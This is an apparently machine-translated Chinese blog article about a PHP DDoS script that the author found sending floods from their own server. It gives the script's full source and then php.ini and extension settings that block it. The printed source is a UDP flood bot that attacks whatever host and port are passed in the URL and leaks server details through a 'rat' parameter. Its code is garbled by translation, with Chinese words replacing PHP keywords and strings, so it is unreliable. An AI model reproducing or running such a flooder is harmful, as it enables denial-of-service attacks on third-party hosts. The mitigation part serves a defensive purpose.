本文主要介绍php中ddos攻击的解决方案,并结合实例分析ddos攻击程序的原理和针对性解决方案。是一个很实用的技能,有需要的朋友可以参考一下。
本文描述了php中ddos攻击的解决方案。分享给你,供你参考。具体分析如下:
今天我自己的一台机器突然向外发送了大量的数据包,可以达到每秒1G以上。虽然不能通过策略发送UDP禁包,但是占用了很多cup,所以我终于想到了解决办法。
先看源代码。代码如下:
复制代码如下:服务器端编程语言(Professional Hypertext Preprocessor的缩写)
set _ time _ limit(999999);
$ host=$ _ GET[' host '];
$ port=$ _ GET[' port '];
$ exec _ time=$ _ GET[' time '];
$ Sendlen=65535
$ packets=0;
ignore_user_abort(真);
if (StrLen($host)==0或StrLen($port)==0或StrLen($exec_time)==0){
if (StrLen($_GET['rat'])0){
echo $_GET['rat']。$_SERVER['HTTP_HOST']。'|'.GetHostByName($_SERVER['服务器名称'])。'|'.php_uname()。'|'.$_SERVER['SERVER_SOFTWARE']。$ _ GET[' rat '];
退出;
}
“echo”参数不能为空!
退出;
}
for($ I=0;$ i $ Sendlen$i ){
$出局。=' A
}
$ max _ time=time()$ exec _ time;
while(1){
$数据包;
if(time() $max_time){
打破;
}
$fp=fsockopen('udp://$host ',$port,$errno,$errstr,5);
if($fp){
fwrite($fp,$ out);
fclose($ FP);
}
}
echo '发送主机:$ Host:$ portbrbr ';
echo '发送流:$packets * ($Sendlen/1024='。round($Sendlen/1024,2)。)kb/1024='。round($ packets * $ send len/1024/1024,2)。mbbrbr ';
回显“发送速率:”。round($packets/$exec_time,2)。包/秒;'。round($ packets/$ exec _ time * $ send len/1024/1024,2)。MB/s ';
?
关键在于以下几点:
复制代码如下:$ fp=fsockOpen ('UDP://$ IP ',$ rand,$ errno,$ errstr,5);
方法很简单。向目标主机发送UDP包,再加上无限循环的定义,会产生更大的压力。
这个压力是给执行这个脚本的服务器的,因为它首先占用了自己的网络带宽、CPU等大量资源。如果您想使用这个脚本向目标站点施加压力,您需要在多台服务器上执行这个脚本。DDOS,既然fsockopen是用来请求外部的,你就不要让他请求了。
php.ini里设置,代码如下:
复制代码如下:allow_url_fopen=Off
如果他还能以这种方式收缩,代码如下:
extension=php_sockets.dll
换成
;extension=php_sockets.dll
重启APACHE,IIS,NGINX,防止PHP DDOS外包。
另外,有网友表示,让脚本不允许设置为无超时很简单:
1.禁用设置时间限制功能。
2.启用PHP的安全模式(safe_mode=on)。
禁用socket功能可以直接禁用所有socket模块或者禁用fsockopen功能。建议经常使用socket发送邮件找回密码,建议开启直接开启安全模式。不过这种情况下,脚本每30秒超时一次,估计没有哪个黑客会孤独到每30秒点击一次启动DDOS。
经验:这种问题一般是网站安全问题造成的。我们应该注意网站安全和服务器安全,这样就不容易被入侵。如果可以用麦考菲的朋友,限制网站会更好。
希望这篇文章对大家的php编程有所帮助。
郑重声明:本文由网友发布,不代表盛行IT的观点,版权归原作者所有,仅为传播更多信息之目的,如有侵权请联系,我们将第一时间修改或删除,多谢。